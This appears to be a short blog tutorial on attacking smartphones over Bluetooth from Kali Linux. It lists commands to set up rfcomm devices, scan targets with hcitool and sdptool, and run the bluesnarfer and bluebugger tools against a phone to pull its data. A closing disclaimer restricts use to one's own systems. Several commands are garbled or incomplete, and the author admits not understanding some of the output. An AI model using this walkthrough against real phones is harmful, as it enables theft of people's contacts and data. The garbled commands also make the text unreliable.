Hacking smartphones using bluetooth via kali

How to hack smartphone bluetooth on kali linux using bluesnarfer?

Step 1: Fire up your Kali Linux.


Step 2: First let’s configure Bluetooth Open terminal and type:

~#mkdir -p /dev/Bluetooth/rfcomm

~#mknod -m 666 /dev/Bluetooth/rfcomm/0 c 216 0

This is bluesnarfer don, now for bluebugger:

~#mknod –mode=666 /dev/rfcomm0 c 216 0

Step 3: and type the hciconfig to enable your Bluetooth Adapter

~#hciconfig hci0 up

Step 4: Scan for Bluetooth devices.

For this purpose you can use hcitool. This is a command line tool.

~#hcitool scan

Now, let’s try the inq command in hcitool to get more information about these devices:

~#hcitool inq

It also displays clock offset and the class. The class indicates what type of Bluetooth device it is.

You can see list of more option by typing hcitool.

Step 5: Scan for Services with sdptool.

~#sdptool browse

or you can use this command also…

~#sdptools browse –tree –l2cap

If you ask me what this shows. I don’t know. But yes it shows you all the services and channels.

Service discovery protocol (SDP) is a Bluetooth protocol. And it helps you to search for services running on the device.

Step 6: Ping the device with L2ping command.

~#l2ping

If you don’t get a ping then good luck.

Step 7: Hacking Start

Type bluesnarfer.

~#bluesnarfer

And you will see its options. Now we have some options let’s type:

~#bluesnarfer [options] -C 7 -b

Example:

~#bluesnarfer –r 1-100 –C –b

Now for bluebugger Type:

~#bluebugger –h

~# bluebugger [OPTIONS] -c 7 -a [MODE]

Again, you’ll see some results. And if you are getting any error type

~#hciconfig hci0 down
~#hciconfig hci0 reset
~#hciconfig hci0 up

 

DISCLAIMER:  THE HACKS SHOWN HERE ARE FOR AUDITING / TESTING YOUR OWN NETWORK AND APPLICATIONS ONLY .  USE OF THIS HACKS IN MALICIOUS WAY WILL LEAD TO LEGAL PROBLEMS  .  ADMIN AND AUTHOR IS NOT RESPONSIBLE FOR THOSE ACTS ., THANK YOU

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